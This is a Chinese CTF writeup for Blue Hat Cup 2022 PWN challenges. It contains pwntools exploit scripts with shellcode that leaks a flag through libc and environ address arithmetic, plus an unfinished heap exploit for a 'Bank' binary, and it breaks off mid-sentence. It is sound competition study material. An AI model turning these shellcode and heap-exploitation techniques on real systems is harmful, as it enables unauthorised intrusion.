「PWN」【蓝帽杯 2022】Writeup WP 复现
记录一下前几天打的蓝帽杯的 PWN 题,其他 Misc 和取证就不复现了,打的时候就没整太明白,全靠队友一手带飞。
我是直接写了很简单的Shellcode
然后靠运气磨过去(指正好加到/flag
的那个内存页然后 IO 输出出来)
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'DEBUG'
# sh = process(['escape_shellcode'])
sh = remote("39.107.108.120", 44431)
shellcode = """
mov r8, 0x557000000120
run:
mov rax, 1
mov rdi, 1
xor rdx, rdx
mov rdx, 0x10000
mov rsi, r8
syscall
cmp al, 0xf2
je looper
looper:
add r8, 0x10000
jmp run
"""
sh.sendline(asm(shellcode))
sh.interactive()
官方 writeup 倒是直接把 bss 的 flag 读出来了。本地调的时候看懂了原理,但是不知道这几个值是怎么出来的。
基本上就是获取了prctl@got.plt
存到R8
上(但是我不知道怎么调出来这个,通过RIP
找到[rip + 0xfb5 - 7]
这个指针,然后指针的内容加上0x3e8
就到了这个@got.plt
),再把真实地址记录到R9
上。
然后R9
用来保存libc_base
,计算出environ
的地址找到程序的基地址接着就可以读到.bss
的flag
了。
思路都能整的明白,就是不知道咋调的:>
#!/usr/bin/python3
#-*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
context.arch='amd64'
context.terminal = ['tmux','sp','-h','-l','120']
# remote_service = ""
# remote_service = remote_service.strip().split(":")
# p = remote(remote_service[0], int(remote_service[1]))
p = remote('39.106.156.74', 15163)
filename = "./pwn"
# p = process(filename)
e = ELF(filename, checksec=False)
l = ELF(e.libc.path, checksec=False)
rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
i2b = lambda c : str(c).encode()
uu32 = lambda data : u32(data.ljust(4, b'\x00'))
uu64 = lambda data : u64(data.ljust(8, b'\x00'))
def debugPID():
# lg("p.pid")
# input()
pass
# environ = 0x3ee098
# prctl = 0x122210
def send_code():
code = asm(
f"""
lea rsi, byte ptr [rip - 0x2ba]
add rsi, 0xf69
mov rsp, rsi
lea rdx, byte ptr [rip + 0xfb5 - 7]
mov r8, [rdx]
add r8, 0x3e8
mov r9, [r8]
sub r9, 0x122210
mov r8, r9
add r8, 0x3ee098
mov r9, [r8]
sub r9, 0x40
mov r8, [r9]
sub r8, 0x11a0
add r8, 0x4120
mov rdi, 1
mov rax, 1
mov rsi, r8
mov rdx, 0x40
syscall
"""
)
p.send(code)
debugPID()
send_code()
debugPID()
irt()
Bank
IDA就不上图了,浅浅分析下功能。
deposit
中有当money = balance
的时候不会return
而是会执行cash += money
,但是reduce_money
中money = balance
时会return
而不扣除banlance
中的钱。
所以可以利用put
和deposit
用来刷钱。
主要是transfer
是漏洞点。admin
可以用来任意读堆上的地址,hacker
可以用来任意地址free
,ghost
可以realloc
ptr
这个堆,guest
可以用来malloc
一个0x18
的堆并且写0x10
,abyss
可以把初始化中的result
执行*result=read_ui()
并触发exit(0);
先写好菜单,因为一开始没考虑完全所以就把transfer
写的复杂了一点,其实分开写就好()
from typing import Union, AnyStr, Tuple, Literal
from pwn import *
context(log_level='DEBUG', arch='amd64', os='linux')
sh = process(['./Bank'])
libc = ELF('./libc-2.31.so')
Money = Union[AnyStr, int, float]
def to_bytes(content: Money):
return content if isinstance(content, bytes) else str(content).encode()
def menu(index: Literal[0, 2, 3, 4, 5, 6]):
"""
:param index: 0: Quit, 2: Deposit, 3: Transfer, 4: Put, 5: Login, 6: Info
:return:
"""
choice = ['Quit', "", 'Deposit', "Transfer", "Put", "Login", "Info"]
sh.recvuntil(b"Click: ")
sh.sendline(choice[index].encode())
def login(card_number: AnyStr, password: AnyStr):
menu(5)
sh.sendlineafter(b"Card Numbers: ", to_bytes(card_number))
sh.sendlineafter(b"Password: ", to_bytes(password))
def info() -> Tuple[bytes, bytes]:
menu(6)
sh.recvuntil(b"[Card Number]: ")
dest = sh.recvuntil(b'\n', drop=True)
sh.recvuntil(b"[Money]: ")
money = sh.recvuntil(b'\n', drop=True)
return dest, money
def deposit(money: Money):
menu(2)
sh.sendlineafter(b"How Much? ", to_bytes(money))
def transfer(who: Literal['admin', 'hacker', 'guest', 'ghost', 'abyss'], money: Money, *arg) -> Union[None, bytes]:
def admin() -> bytes:
sh.recvuntil(b"I think ")
return sh.recvuntil(b' is', drop=True)
def hacker(ptr: Money):
sh.sendlineafter(b"hacker: Great!", to_bytes(ptr))
def guest(content: AnyStr, is_line: bool = True):
if is_line:
sh.sendlineafter(b"data: ", to_bytes(content))
else:
sh.sendafter(b"data: ", to_bytes(content))
def ghost(size_: Money):
sh.sendlineafter(b":)", to_bytes(size_))
def abyss(content: AnyStr):
sh.sendline(to_bytes(content))
menu(3)
sh.sendlineafter(b"who?", who.encode())
sh.sendlineafter(b"How much?", to_bytes(money))
return locals().get(who)(*arg)
def put(money: Money):
menu(4)
sh.sendlineafter(b"How Much?", to_bytes(money))
def gdb_(times: int = None, arg: str = ''):
gdb.attach(sh, arg)
pause(times)
首先不管先刷丶钱😋通过本地调试我们可以知道原本我们有0x190
的cash
login('114514', '114514')
put(0x190)
cash = 0x190
while cash <= 1000000:
deposit(cash)
put(cash)
cash += cash
可以通过realloc
一个大一个小来凿一个tcache
搞到heap_addr
,但是注意的是我们要读地址就得给admin
送钱,而admin
至少要恰0x1E
的钱,这也就意味之我们最少会读到8 * 0x1E + g_malloc
这个地址。也就是至少要在0xf0 + g_malloc
的位置凿一个tcache
,而realloc
又只能最大到size = 0x100
,所以构造的时候还是得稍微思考一下
g_malloc